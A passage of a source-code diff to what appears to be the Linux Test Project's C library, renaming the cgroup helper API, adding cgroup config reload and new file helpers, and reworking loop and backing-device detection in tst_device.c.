for_each_root(root) { + if (!strcmp(root->mnt_path, mnt_path)) + return root; + } + + return NULL; +} + +static void cgroup_parse_config_line(const char *const config_entry) +{ + char ctrl_name[CTRL_NAME_MAX + 1], mnt_path[PATH_MAX_STRLEN + 1], test_dir_name[NAME_MAX + 1]; + int ver, we_require_it, we_mounted_it, ltp_dir_we_created_it, vars_read; + struct cgroup_root *root; + struct cgroup_ctrl *ctrl; + + vars_read = sscanf(config_entry, CONFIG_FORMAT, + ctrl_name, &ver, &we_require_it, mnt_path, &we_mounted_it, + <p_dir_we_created_it, test_dir_name); + + if (vars_read != 7) + tst_brk(TBROK, "Incorrect number of vars read from config. Config possibly malformed?"); + + ctrl = cgroup_find_ctrl(ctrl_name); + if (!ctrl) + tst_brk(TBROK, "Could not find ctrl from config. Ctrls changing between calls?"); - while (ctrl->ctrl_name && strcmp(ctrl_name, ctrl->ctrl_name)) - ctrl++; + ctrl->we_require_it = we_require_it; - if (!ctrl->ctrl_name) - ctrl = NULL; + root = cgroup_find_root(mnt_path); + if (!root) + tst_brk(TBROK, "Could not find root from config. Config possibly malformed?"); - return ctrl; + if (we_mounted_it) + root->we_mounted_it = 1; + + if (!root->ltp_dir.dir_name) { + cgroup_dir_mk(&root->mnt_dir, cgroup_ltp_dir, &root->ltp_dir); + cgroup_dir_mk(&root->ltp_dir, cgroup_ltp_drain_dir, &root->drain_dir); + if (ltp_dir_we_created_it) { + root->ltp_dir.we_created_it = 1; + root->drain_dir.we_created_it = 1; + } + } + + if (!root->test_dir.dir_name && strcmp(test_dir_name, "NULL")) { + strncpy(cgroup_test_dir, test_dir_name, NAME_MAX + 1); + cgroup_dir_mk(&root->ltp_dir, cgroup_test_dir, &root->test_dir); + root->test_dir.we_created_it = 1; + } +} + +/* Load the test state config provided by tst_cg_print_config + * + * This will reload some internal tst_cgroup state given by the config + * that might otherwise have been lost between calls or between different + * processes. In particular this is used by testcases/lib/tst_cgctl to + * provide access to this C api to shell scripts. + * + * The config keeps track of the minimal state needed for tst_cg_cleanup + * to cleanup mounts and directories created by tst_cg_require. + */ +void tst_cg_load_config(const char *const config) +{ + char temp_config[BUFSIZ]; + char *line; + const size_t config_len = strlen(config) + 1; + + if (config_len >= BUFSIZ) + tst_brk(TBROK, "Config has exceeded buffer size?"); + + memcpy(temp_config, config, config_len); + temp_config[config_len] = '\0'; + + line = strtok(temp_config, "\n"); + /* Make sure to consume the header. */ + for (line = strtok(NULL, "\n"); line; line = strtok(NULL, "\n")) + cgroup_parse_config_line(line); } /* Determine if a mounted cgroup hierarchy is unique and record it if so. @@ -383,7 +572,7 @@ static void cgroup_root_scan(const char *const mnt_type, if (root->ctrl_field) tst_brk(TBROK, "Available V2 controllers are changing between scans?"); - root->ver = TST_CGROUP_V2; + root->ver = TST_CG_V2; goto backref; @@ -417,7 +606,7 @@ v1: ROOTS_MAX); } - root->ver = TST_CGROUP_V1; + root->ver = TST_CG_V1; backref: strcpy(root->mnt_path, mnt_dir); @@ -438,7 +627,7 @@ discard: close(mnt_dfd); } -void tst_cgroup_scan(void) +void tst_cg_scan(void) { struct mntent *mnt; FILE *f = setmntent("/proc/self/mounts", "r"); @@ -464,9 +653,12 @@ void tst_cgroup_scan(void) static void cgroup_mount_v2(void) { + int ret; char mnt_path[PATH_MAX]; + const char *tmpdir = tst_get_tmpdir_root(); - sprintf(mnt_path, "%s%s", cgroup_mount_ltp_prefix, cgroup_v2_ltp_mount); + sprintf(mnt_path, "%s/%s%s", + tmpdir, cgroup_mount_ltp_prefix, cgroup_v2_ltp_mount); if (!mkdir(mnt_path, 0777)) { roots[0].mnt_dir.we_created_it = 1; @@ -487,9 +679,15 @@ static void cgroup_mount_v2(void) return; mount: - if (!mount("cgroup2", mnt_path, "cgroup2", 0, NULL)) { + ret = mount("cgroup2", mnt_path, "cgroup2", + 0, "memory_recursiveprot"); + + if (ret && errno == EINVAL) + ret = mount("cgroup2", mnt_path, "cgroup2", 0, NULL); + + if (!ret) { tst_res(TINFO, "Mounted V2 CGroups on %s", mnt_path); - tst_cgroup_scan(); + tst_cg_scan(); roots[0].we_mounted_it = 1; return; } @@ -507,8 +705,16 @@ static void cgroup_mount_v1(struct cgroup_ctrl *const ctrl) { char mnt_path[PATH_MAX]; int made_dir = 0; + const char *tmpdir = tst_get_tmpdir_root(); + + if (ctrl->ctrl_indx == CTRL_BLKIO && controllers[CTRL_IO].ctrl_root) { + tst_res(TCONF, + "IO controller found on V2 root, skipping blkio mount that would unmount IO controller"); + return; + } - sprintf(mnt_path, "%s%s", cgroup_mount_ltp_prefix, ctrl->ctrl_name); + sprintf(mnt_path, "%s/%s%s", + tmpdir, cgroup_mount_ltp_prefix, ctrl->ctrl_name); if (!mkdir(mnt_path, 0777)) { made_dir = 1; @@ -539,7 +745,7 @@ mount: } tst_res(TINFO, "Mounted V1 %s CGroup on %s", ctrl->ctrl_name, mnt_path); - tst_cgroup_scan(); + tst_cg_scan(); if (!ctrl->ctrl_root) return; @@ -595,12 +801,16 @@ static void cgroup_copy_cpuset(const struct cgroup_root *const root) * cpuset. * */ -void tst_cgroup_require(const char *const ctrl_name, - const struct tst_cgroup_opts *options) +void tst_cg_require(const char *const ctrl_name, + const struct tst_cg_opts *options) { const char *const cgsc = "cgroup.subtree_control"; struct cgroup_ctrl *const ctrl = cgroup_find_ctrl(ctrl_name); struct cgroup_root *root; + int base = !strcmp(ctrl->ctrl_name, "base"); + + if (base && options->needs_ver != TST_CG_V2) + tst_brk(TCONF, "Base control only support needs_ver TST_CG_V2!"); if (!ctrl) { tst_brk(TBROK, "'%s' controller is unknown to LTP", ctrl_name); @@ -608,9 +818,6 @@ void tst_cgroup_require(const char *const ctrl_name, return; } - if (!options) - options = &default_opts; - if (ctrl->we_require_it) tst_res(TWARN, "Duplicate %s(%s, )", __func__, ctrl->ctrl_name); @@ -619,18 +826,22 @@ void tst_cgroup_require(const char *const ctrl_name, if (ctrl->ctrl_root) goto mkdirs; - tst_cgroup_scan(); + tst_cg_scan(); if (ctrl->ctrl_root) goto mkdirs; - if (!cgroup_v2_mounted() && !options->only_mount_v1) + if (!cgroup_v2_mounted() && options->needs_ver != TST_CG_V1) cgroup_mount_v2(); if (ctrl->ctrl_root) goto mkdirs; - cgroup_mount_v1(ctrl); + if (options->needs_ver != TST_CG_V2) + cgroup_mount_v1(ctrl); + + if (base) + ctrl->ctrl_root = roots; if (!ctrl->ctrl_root) { tst_brk(TCONF, @@ -643,7 +854,18 @@ mkdirs: root = ctrl->ctrl_root; add_ctrl(&root->mnt_dir.ctrl_field, ctrl); - if (cgroup_ctrl_on_v2(ctrl)) { + if (cgroup_ctrl_on_v2(ctrl) && options->needs_ver == TST_CG_V1) { + tst_brk(TCONF, + "V1 '%s' controller required, but it's mounted on V2", + ctrl->ctrl_name); + } + if (!cgroup_ctrl_on_v2(ctrl) && options->needs_ver == TST_CG_V2) { + tst_brk(TCONF, + "V2 '%s' controller required, but it's mounted on V1", + ctrl->ctrl_name); + } + + if (cgroup_ctrl_on_v2(ctrl) && !base) { if (root->we_mounted_it) { SAFE_FILE_PRINTFAT(root->mnt_dir.dir_fd, cgsc, "+%s", ctrl->ctrl_name); @@ -658,30 +880,36 @@ mkdirs: else root->ltp_dir.ctrl_field |= root->mnt_dir.ctrl_field; - if (cgroup_ctrl_on_v2(ctrl)) { - SAFE_FILE_PRINTFAT(root->ltp_dir.dir_fd, - cgsc, "+%s", ctrl->ctrl_name); - } else { - SAFE_FILE_PRINTFAT(root->ltp_dir.dir_fd, - "cgroup.clone_children", "%d", 1); + if (!base) { + if (cgroup_ctrl_on_v2(ctrl)) { + SAFE_FILE_PRINTFAT(root->ltp_dir.dir_fd, + cgsc, "+%s", ctrl->ctrl_name); + } else { + SAFE_FILE_PRINTFAT(root->ltp_dir.dir_fd, + "cgroup.clone_children", "%d", 1); - if (ctrl->ctrl_indx == CTRL_CPUSET) - cgroup_copy_cpuset(root); + if (ctrl->ctrl_indx == CTRL_CPUSET) + cgroup_copy_cpuset(root); + } } cgroup_dir_mk(&root->ltp_dir, cgroup_ltp_drain_dir, &root->drain_dir); - sprintf(cgroup_test_dir, "test-%d", getpid()); + if (options->test_pid) + sprintf(cgroup_test_dir, "test-%d", options->test_pid); + else + sprintf(cgroup_test_dir, "test-%d", getpid()); + cgroup_dir_mk(&root->ltp_dir, cgroup_test_dir, &root->test_dir); } -static void cgroup_drain(const enum tst_cgroup_ver ver, +static void cgroup_drain(const enum tst_cg_ver ver, const int source_dfd, const int dest_dfd) { char pid_list[BUFSIZ]; char *tok; const char *const file_name = - ver == TST_CGROUP_V1 ? "tasks" : "cgroup.procs"; + ver == TST_CG_V1 ? "tasks" : "cgroup.procs"; int fd; ssize_t ret; @@ -750,7 +978,7 @@ static void close_path_fds(struct cgroup_root *const root) * Finally we clear any data we have collected on CGroups. This will * happen regardless of whether anything was removed. */ -void tst_cgroup_cleanup(void) +void tst_cg_cleanup(void) { struct cgroup_root *root; struct cgroup_ctrl *ctrl; @@ -787,7 +1015,8 @@ void tst_cgroup_cleanup(void) } for_each_ctrl(ctrl) { - if (!cgroup_ctrl_on_v2(ctrl) || !ctrl->ctrl_root->we_mounted_it) + if (!cgroup_ctrl_on_v2(ctrl) || !ctrl->ctrl_root->we_mounted_it + || !strcmp(ctrl->ctrl_name, "base")) continue; SAFE_FILE_PRINTFAT(ctrl->ctrl_root->mnt_dir.dir_fd, @@ -820,30 +1049,15 @@ clear_data: memset(roots, 0, sizeof(roots)); } -__attribute__((nonnull(1))) -static void cgroup_group_init(struct tst_cgroup_group *const cg, - const char *const group_name) -{ - memset(cg, 0, sizeof(*cg)); - - if (!group_name) - return; - - if (strlen(group_name) > NAME_MAX) - tst_brk(TBROK, "Group name is too long"); - - strcpy(cg->group_name, group_name); -} - __attribute__((nonnull(2, 3))) -static void cgroup_group_add_dir(const struct tst_cgroup_group *const parent, - struct tst_cgroup_group *const cg, +static void cgroup_group_add_dir(const struct tst_cg_group *const parent, + struct tst_cg_group *const cg, struct cgroup_dir *const dir) { const struct cgroup_ctrl *ctrl; int i; - if (dir->dir_root->ver != TST_CGROUP_V1) + if (dir->dir_root->ver != TST_CG_V1) cg->dirs_by_ctrl[0] = dir; for_each_ctrl(ctrl) { @@ -852,11 +1066,13 @@ static void cgroup_group_add_dir(const struct tst_cgroup_group *const parent, cg->dirs_by_ctrl[ctrl->ctrl_indx] = dir; - if (!parent || dir->dir_root->ver == TST_CGROUP_V1) + if (!parent || dir->dir_root->ver == TST_CG_V1) continue; - SAFE_CGROUP_PRINTF(parent, "cgroup.subtree_control", - "+%s", ctrl->ctrl_name); + if (strcmp(ctrl->ctrl_name, "base")) { + SAFE_CG_PRINTF(parent, "cgroup.subtree_control", + "+%s", ctrl->ctrl_name); + } } for (i = 0; cg->dirs[i]; i++) @@ -864,32 +1080,50 @@ static void cgroup_group_add_dir(const struct tst_cgroup_group *const parent, cg->dirs[i] = dir; } -struct tst_cgroup_group * -tst_cgroup_group_mk(const struct tst_cgroup_group *const parent, - const char *const group_name) +struct tst_cg_group * +tst_cg_group_mk(const struct tst_cg_group *const parent, + const char *const group_name_fmt, ...) { - struct tst_cgroup_group *cg; + struct tst_cg_group *cg; struct cgroup_dir *const *dir; struct cgroup_dir *new_dir; + va_list ap; + size_t name_len; cg = SAFE_MALLOC(sizeof(*cg)); - cgroup_group_init(cg, group_name); + memset(cg, 0, sizeof(*cg)); + + va_start(ap, group_name_fmt); + name_len = vsnprintf(cg->group_name, NAME_MAX, + group_name_fmt, ap); + va_end(ap); + + if (name_len >= NAME_MAX) + tst_brk(TBROK, "CGroup name is too long"); for_each_dir(parent, 0, dir) { new_dir = SAFE_MALLOC(sizeof(*new_dir)); - cgroup_dir_mk(*dir, group_name, new_dir); + cgroup_dir_mk(*dir, cg->group_name, new_dir); cgroup_group_add_dir(parent, cg, new_dir); } return cg; } -const char *tst_cgroup_group_name(const struct tst_cgroup_group *const cg) +const char *tst_cg_group_name(const struct tst_cg_group *const cg) { return cg->group_name; } -struct tst_cgroup_group *tst_cgroup_group_rm(struct tst_cgroup_group *const cg) +int tst_cg_group_unified_dir_fd(const struct tst_cg_group *const cg) +{ + if(cg->dirs_by_ctrl[0]) + return cg->dirs_by_ctrl[0]->dir_fd; + + return -1; +} + +struct tst_cg_group *tst_cg_group_rm(struct tst_cg_group *const cg) { struct cgroup_dir **dir; @@ -912,7 +1146,7 @@ static const struct cgroup_file *cgroup_file_find(const char *const file, { const struct cgroup_file *cfile; const struct cgroup_ctrl *ctrl; - char ctrl_name[32]; + char ctrl_name[CTRL_NAME_MAX + 1]; const char *const sep = strchr(file_name, '.'); size_t len; @@ -950,8 +1184,8 @@ static const struct cgroup_file *cgroup_file_find(const char *const file, return cfile; } -enum tst_cgroup_ver tst_cgroup_ver(const char *const file, const int lineno, - const struct tst_cgroup_group *const cg, +enum tst_cg_ver tst_cg_ver(const char *const file, const int lineno, + const struct tst_cg_group *const cg, const char *const ctrl_name) { const struct cgroup_ctrl *const ctrl = cgroup_find_ctrl(ctrl_name); @@ -986,7 +1220,7 @@ __attribute__ ((nonnull, warn_unused_result)) static const char *cgroup_file_alias(const struct cgroup_file *const cfile, const struct cgroup_dir *const dir) { - if (dir->dir_root->ver != TST_CGROUP_V1) + if (dir->dir_root->ver != TST_CG_V1) return cfile->file_name; if (cfile->ctrl_indx == CTRL_CPUSET && @@ -998,8 +1232,8 @@ static const char *cgroup_file_alias(const struct cgroup_file *const cfile, return cfile->file_name_v1; } -int safe_cgroup_has(const char *const file, const int lineno, - const struct tst_cgroup_group *cg, +int safe_cg_has(const char *const file, const int lineno, + const struct tst_cg_group *cg, const char *const file_name) { const struct cgroup_file *const cfile = @@ -1029,18 +1263,19 @@ int safe_cgroup_has(const char *const file, const int lineno, return 0; } -__attribute__ ((warn_unused_result)) -static struct tst_cgroup_group *cgroup_group_from_roots(const size_t tree_off) +static void group_from_roots(struct tst_cg_group *const cg) { struct cgroup_root *root; - struct cgroup_dir *dir; - struct tst_cgroup_group *cg; - cg = tst_alloc(sizeof(*cg)); - cgroup_group_init(cg, NULL); + if (cg->group_name[0]) { + tst_brk(TBROK, + "%s CGroup already initialized", + cg == &test_group ? "Test" : "Drain"); + } for_each_root(root) { - dir = (typeof(dir))(((char *)root) + tree_off); + struct cgroup_dir *dir = + cg == &test_group ? &root->test_dir : &root->drain_dir; if (dir->ctrl_field) cgroup_group_add_dir(NULL, cg, dir); @@ -1048,27 +1283,21 @@ static struct tst_cgroup_group *cgroup_group_from_roots(const size_t tree_off) if (cg->dirs[0]) { strncpy(cg->group_name, cg->dirs[0]->dir_name, NAME_MAX); - return cg; + return; } tst_brk(TBROK, - "No CGroups found; maybe you forgot to call tst_cgroup_require?"); - - return cg; + "No CGroups found; maybe you forgot to call tst_cg_require?"); } -const struct tst_cgroup_group *tst_cgroup_get_test_group(void) +void tst_cg_init(void) { - return cgroup_group_from_roots(offsetof(struct cgroup_root, test_dir)); + group_from_roots(&test_group); + group_from_roots(&drain_group); } -const struct tst_cgroup_group *tst_cgroup_get_drain_group(void) -{ - return cgroup_group_from_roots(offsetof(struct cgroup_root, drain_dir)); -} - -ssize_t safe_cgroup_read(const char *const file, const int lineno, - const struct tst_cgroup_group *const cg, +ssize_t safe_cg_read(const char *const file, const int lineno, + const struct tst_cg_group *const cg, const char *const file_name, char *const out, const size_t len) { @@ -1103,13 +1332,13 @@ ssize_t safe_cgroup_read(const char *const file, const int lineno, prev_len = MIN(sizeof(prev_buf), (size_t)read_ret); } - out[MAX(read_ret, 0)] = '\0'; + out[MAX(read_ret, (ssize_t)0)] = '\0'; return read_ret; } -void safe_cgroup_printf(const char *const file, const int lineno, - const struct tst_cgroup_group *cg, +void safe_cg_printf(const char *const file, const int lineno, + const struct tst_cg_group *cg, const char *const file_name, const char *const fmt, ...) { @@ -1131,14 +1360,55 @@ void safe_cgroup_printf(const char *const file, const int lineno, } } -void safe_cgroup_scanf(const char *const file, const int lineno, - const struct tst_cgroup_group *const cg, +int safe_cg_open(const char *const file, const int lineno, + const struct tst_cg_group *cg, + const char *const file_name, int flags, int *fds) +{ + const struct cgroup_file *const cfile = + cgroup_file_find(file, lineno, file_name); + struct cgroup_dir *const *dir; + const char *alias; + int i = 0; + + for_each_dir(cg, cfile->ctrl_indx, dir) { + alias = cgroup_file_alias(cfile, *dir); + if (!alias) + continue; + + fds[i++] = safe_openat(file, lineno, (*dir)->dir_fd, alias, flags); + } + + return i; +} + +void safe_cg_fchown(const char *const file, const int lineno, + const struct tst_cg_group *cg, + const char *const file_name, + uid_t owner, gid_t group) +{ + const struct cgroup_file *const cfile = + cgroup_file_find(file, lineno, file_name); + struct cgroup_dir *const *dir; + const char *alias; + + for_each_dir(cg, cfile->ctrl_indx, dir) { + alias = cgroup_file_alias(cfile, *dir); + if (!alias) + continue; + + safe_fchownat(file, lineno, (*dir)->dir_fd, alias, owner, group, 0); + } +} + + +void safe_cg_scanf(const char *const file, const int lineno, + const struct tst_cg_group *const cg, const char *const file_name, const char *const fmt, ...) { va_list va; char buf[BUFSIZ]; - ssize_t len = safe_cgroup_read(file, lineno, + ssize_t len = safe_cg_read(file, lineno, cg, file_name, buf, sizeof(buf)); const int conv_cnt = tst_count_scanf_conversions(fmt); int ret; @@ -1162,14 +1432,14 @@ void safe_cgroup_scanf(const char *const file, const int lineno, file_name, buf, fmt, ret, conv_cnt); } -void safe_cgroup_lines_scanf(const char *const file, const int lineno, - const struct tst_cgroup_group *const cg, +void safe_cg_lines_scanf(const char *const file, const int lineno, + const struct tst_cg_group *const cg, const char *const file_name, const char *const fmt, ...) { va_list va; char buf[BUFSIZ]; - ssize_t len = safe_cgroup_read(file, lineno, + ssize_t len = safe_cg_read(file, lineno, cg, file_name, buf, sizeof(buf)); const int conv_cnt = tst_count_scanf_conversions(fmt); int ret = 0; @@ -1195,14 +1465,14 @@ void safe_cgroup_lines_scanf(const char *const file, const int lineno, file_name, buf, fmt, ret, conv_cnt); } -int safe_cgroup_occursin(const char *const file, const int lineno, - const struct tst_cgroup_group *const cg, +int safe_cg_occursin(const char *const file, const int lineno, + const struct tst_cg_group *const cg, const char *const file_name, const char *const needle) { char buf[BUFSIZ]; - safe_cgroup_read(file, lineno, cg, file_name, buf, sizeof(buf)); + safe_cg_read(file, lineno, cg, file_name, buf, sizeof(buf)); return !!strstr(buf, needle); } diff --git a/lib/tst_checkpoint.c b/lib/tst_checkpoint.c index b41986f0..6a294b28 100755 --- a/lib/tst_checkpoint.c +++ b/lib/tst_checkpoint.c @@ -25,7 +25,6 @@ #include #include #include -#include #include "test.h" #include "safe_macros.h" diff --git a/lib/tst_clocks.c b/lib/tst_clocks.c index 0417802f..2144a6ae 100755 --- a/lib/tst_clocks.c +++ b/lib/tst_clocks.c @@ -17,8 +17,9 @@ typedef int (*mysyscall)(clockid_t clk_id, void *ts); int syscall_supported_by_kernel(long sysnr) { int ret; + struct timespec foo; - ret = syscall(sysnr, 0, NULL); + ret = syscall(sysnr, 0, &foo); if (ret == -1 && errno == ENOSYS) return 0; diff --git a/lib/tst_clone.c b/lib/tst_clone.c index 07e7f076..2aa00beb 100755 --- a/lib/tst_clone.c +++ b/lib/tst_clone.c @@ -8,13 +8,14 @@ #include #include "tst_test.h" -#include "lapi/clone.h" +#include "lapi/sched.h" pid_t tst_clone(const struct tst_clone_args *tst_args) { struct clone_args args = { .flags = tst_args->flags, .exit_signal = tst_args->exit_signal, + .cgroup = tst_args->cgroup, }; int flags; pid_t pid = -1; diff --git a/lib/tst_device.c b/lib/tst_device.c index 73e70d26..d659b54c 100755 --- a/lib/tst_device.c +++ b/lib/tst_device.c @@ -1,30 +1,13 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) 2014 Cyril Hrubis chrubis@suse.cz - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include #include #include #include +#include #include #include #include @@ -32,9 +15,12 @@ #include #include #include +#include +#include #include "lapi/syscalls.h" #include "test.h" #include "safe_macros.h" +#include "tst_device.h" #ifndef LOOP_CTL_GET_FREE # define LOOP_CTL_GET_FREE 0x4C82 @@ -43,19 +29,41 @@ #define LOOP_CONTROL_FILE "/dev/loop-control" #define DEV_FILE "test_dev.img" -#define DEV_SIZE_MB 256u +#define DEV_SIZE_MB 300u +#define UUID_STR_SZ 37 +#define UUID_FMT "%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x" -static char dev_path[1024]; +static char dev_path[PATH_MAX]; static int device_acquired; static unsigned long prev_dev_sec_write; -static const char *dev_variants[] = { +static const char * const dev_loop_variants[] = { "/dev/loop%i", "/dev/loop/%i", "/dev/block/loop%i" }; -static int set_dev_path(int dev, char *path, size_t path_len) +static const char * const dev_variants[] = { + "/dev/%s", + "/dev/block/%s" +}; + +static int set_dev_loop_path(int dev, char *path, size_t path_len) +{ + unsigned int i; + struct stat st; + + for (i = 0; i < ARRAY_SIZE(dev_loop_variants); i++) { + snprintf(path, path_len, dev_loop_variants[i], dev); + + if (stat(path, &st) == 0 && S_ISBLK(st.st_mode)) + return 0; + } + + return 1; +} + +static int set_dev_path(char *dev, char *path, size_t path_len) { unsigned int i; struct stat st; @@ -64,17 +72,17 @@ static int set_dev_path(int dev, char *path, size_t path_len) snprintf(path, path_len, dev_variants[i], dev); if (stat(path, &st) == 0 && S_ISBLK(st.st_mode)) - return 1; + return 0; } - return 0; + return 1; } int tst_find_free_loopdev(char *path, size_t path_len) { int ctl_fd, dev_fd, rc, i; struct loop_info loopinfo; - char buf[1024]; + char buf[PATH_MAX]; /* since Linux 3.1 */ ctl_fd = open(LOOP_CONTROL_FILE, O_RDWR); @@ -83,8 +91,8 @@ int tst_find_free_loopdev(char *path, size_t path_len) rc = ioctl(ctl_fd, LOOP_CTL_GET_FREE); close(ctl_fd); if (rc >= 0) { - if (path) - set_dev_path(rc, path, path_len); + if (path && set_dev_loop_path(rc, path, path_len)) + tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc); tst_resm(TINFO, "Found free device %d '%s'", rc, path ?: ""); return rc; @@ -98,7 +106,7 @@ int tst_find_free_loopdev(char *path, size_t path_len) break; case EACCES: tst_resm(TINFO | TERRNO, - "Not allowed to open " LOOP_CONTROL_FILE ". " + "Not allowed to open " LOOP_CONTROL_FILE ". " "Are you root?"); break; default: @@ -111,7 +119,7 @@ int tst_find_free_loopdev(char *path, size_t path_len) */ for (i = 0; i < 256; i++) { - if (!set_dev_path(i, buf, sizeof(buf))) + if (set_dev_loop_path(i, buf, sizeof(buf))) continue; dev_fd = open(buf, O_RDONLY); @@ -234,7 +242,8 @@ int tst_detach_device_by_fd(const char *dev, int dev_fd) int ret, i; /* keep trying to clear LOOPDEV until we get ENXIO, a quick succession - * of attach/detach might not give udev enough time to complete */ + * of attach/detach might not give udev enough time to complete + */ for (i = 0; i < 40; i++) { ret = ioctl(dev_fd, LOOP_CLR_FD, 0); @@ -335,7 +344,7 @@ const char *tst_acquire_device_(void (cleanup_fn)(void), unsigned int size) if (!tst_tmpdir_created()) { tst_brkm(TBROK, cleanup_fn, - "Cannot acquire device without tmpdir() created"); + "Cannot acquire device without tmpdir() created"); return NULL; } @@ -391,17 +400,17 @@ int tst_umount(const char *path) if (err != EBUSY) { tst_resm(TWARN, "umount('%s') failed with %s", - path, tst_strerrno(err)); + path, tst_strerrno(err)); errno = err; return ret; } tst_resm(TINFO, "umount('%s') failed with %s, try %2i...", - path, tst_strerrno(err), i+1); + path, tst_strerrno(err), i+1); if (i == 0) { tst_resm(TINFO, "Likely gvfsd-trash is probing newly " - "mounted fs, kill it to speed up tests."); + "mounted fs, kill it to speed up tests."); } usleep(100000); @@ -456,7 +465,7 @@ int tst_is_mounted_at_tmpdir(const char *path) return tst_is_mounted(mpath); } -int find_stat_file(const char *dev, char *path, size_t path_len) +static int find_stat_file(const char *dev, char *path, size_t path_len) { const char *devname = strrchr(dev, '/') + 1; @@ -484,7 +493,7 @@ int find_stat_file(const char *dev, char *path, size_t path_len) unsigned long tst_dev_bytes_written(const char *dev) { unsigned long dev_sec_write = 0, dev_bytes_written, io_ticks = 0; - char dev_stat_path[1024]; + char dev_stat_path[PATH_MAX]; if (!find_stat_file(dev, dev_stat_path, sizeof(dev_stat_path))) tst_brkm(TCONF, NULL, "Test device stat file: %s not found", @@ -505,45 +514,139 @@ unsigned long tst_dev_bytes_written(const char *dev) return dev_bytes_written; } -void tst_find_backing_dev(const char *path, char *dev) +__attribute__((nonnull)) +void tst_find_backing_dev(const char *path, char *dev, size_t dev_size) { struct stat buf; - FILE *file; - char line[PATH_MAX]; - char *pre = NULL; - char *next = NULL; - unsigned int dev_major, dev_minor, line_mjr, line_mnr; + struct btrfs_ioctl_fs_info_args args = {0}; + struct dirent *d; + char uevent_path[PATH_MAX+PATH_MAX+10]; //10 is for the static uevent path + char dev_name[NAME_MAX]; + char bdev_path[PATH_MAX]; + char tmp_path[PATH_MAX]; + char btrfs_uuid_str[UUID_STR_SZ]; + DIR *dir; + unsigned int dev_major, dev_minor; + int fd; if (stat(path, &buf) < 0) tst_brkm(TWARN | TERRNO, NULL, "stat() failed"); + strncpy(tmp_path, path, PATH_MAX-1); + tmp_path[PATH_MAX-1] = '\0'; + if (S_ISREG(buf.st_mode)) + dirname(tmp_path); + dev_major = major(buf.st_dev); dev_minor = minor(buf.st_dev); - file = SAFE_FOPEN(NULL, "/proc/self/mountinfo", "r"); *dev = '\0'; - while (fgets(line, sizeof(line), file)) { - if (sscanf(line, "%*d %*d %d:%d", &line_mjr, &line_mnr) != 2) - continue; + if (dev_major == 0) { + tst_resm(TINFO, "Use BTRFS specific strategy"); + + fd = SAFE_OPEN(NULL, tmp_path, O_DIRECTORY); + if (!ioctl(fd, BTRFS_IOC_FS_INFO, &args)) { + sprintf(btrfs_uuid_str, + UUID_FMT, + args.fsid[0], args.fsid[1], + args.fsid[2], args.fsid[3], + args.fsid[4], args.fsid[5], + args.fsid[6], args.fsid[7], + args.fsid[8], args.fsid[9], + args.fsid[10], args.fsid[11], + args.fsid[12], args.fsid[13], + args.fsid[14], args.fsid[15]); + sprintf(bdev_path, + "/sys/fs/btrfs/%s/devices", btrfs_uuid_str); + } else { + if (errno == ENOTTY) + tst_brkm(TBROK | TERRNO, NULL, "BTRFS ioctl failed. Is %s on a tmpfs?", path); - if (line_mjr == dev_major && line_mnr == dev_minor) { - pre = strstr(line, " - "); - pre = strtok_r(pre, " ", &next); - pre = strtok_r(NULL, " ", &next); - pre = strtok_r(NULL, " ", &next); - strcpy(dev, pre); - break; + tst_brkm(TBROK | TERRNO, NULL, "BTRFS ioctl on %s failed.", tmp_path); + } + SAFE_CLOSE(NULL, fd); + + dir = SAFE_OPENDIR(NULL, bdev_path); + while ((d = SAFE_READDIR(NULL, dir))) { + if (d->d_name[0] != '.') + break; } + + uevent_path[0] = '\0'; + + if (d) { + sprintf(uevent_path, "%s/%s/uevent", + bdev_path, d->d_name); + } else { + tst_brkm(TBROK | TERRNO, NULL, "No backing device found while looking in %s.", bdev_path); + } + + if (SAFE_READDIR(NULL, dir)) + tst_resm(TINFO, "Warning: used first of multiple backing device."); + + SAFE_CLOSEDIR(NULL, dir); + } else { + tst_resm(TINFO, "Use uevent strategy"); + sprintf(uevent_path, + "/sys/dev/block/%d:%d/uevent", dev_major, dev_minor); } - SAFE_FCLOSE(NULL, file); + if (!access(uevent_path, R_OK)) { + FILE_LINES_SCANF(NULL, uevent_path, "DEVNAME=%s", dev_name); + + if (!dev_name[0] || set_dev_path(dev_name, dev, dev_size)) + tst_brkm(TBROK, NULL, "Could not stat backing device %s", dev); + + } else { + tst_brkm(TBROK, NULL, "uevent file (%s) access failed", uevent_path); + } +} + +void tst_stat_mount_dev(const char *const mnt_path, struct stat *const st) +{ + struct mntent *mnt; + FILE *mntf = setmntent("/proc/self/mounts", "r"); + + if (!mntf) { + tst_brkm(TBROK | TERRNO, NULL, "Can't open /proc/self/mounts"); + return; + } + + mnt = getmntent(mntf); + if (!mnt) { + tst_brkm(TBROK | TERRNO, NULL, "Can't read mounts or no mounts?"); + return; + } + + do { + if (strcmp(mnt->mnt_dir, mnt_path)) { + mnt = getmntent(mntf); + continue; + } + + if (stat(mnt->mnt_fsname, st)) { + tst_brkm(TBROK | TERRNO, NULL, + "Can't stat '%s', mounted at '%s'", + mnt->mnt_fsname, mnt_path); + } + + return; + } while (mnt); + + tst_brkm(TBROK, NULL, "Could not find mount device"); +} + +int tst_dev_block_size(const char *path) +{ + int fd; + int size; + char dev_name[PATH_MAX]; - if (!*dev) - tst_brkm(TBROK, NULL, "Cannot find block device for %s", path); + tst_find_backing_dev(path, dev_name, sizeof(dev_name)); - if (stat(dev, &buf) < 0) - tst_brkm(TWARN | TERRNO, NULL, "stat(%s) failed", dev); + fd = SAFE_OPEN(NULL, dev_name, O_RDONLY); + SAFE_IOCTL(NULL, fd, BLKSSZGET, &size); + SAFE_CLOSE(NULL, fd); - if (S_ISBLK(buf.st_mode) != 1) - tst_brkm(TCONF, NULL, "dev(%s) isn't a block dev", 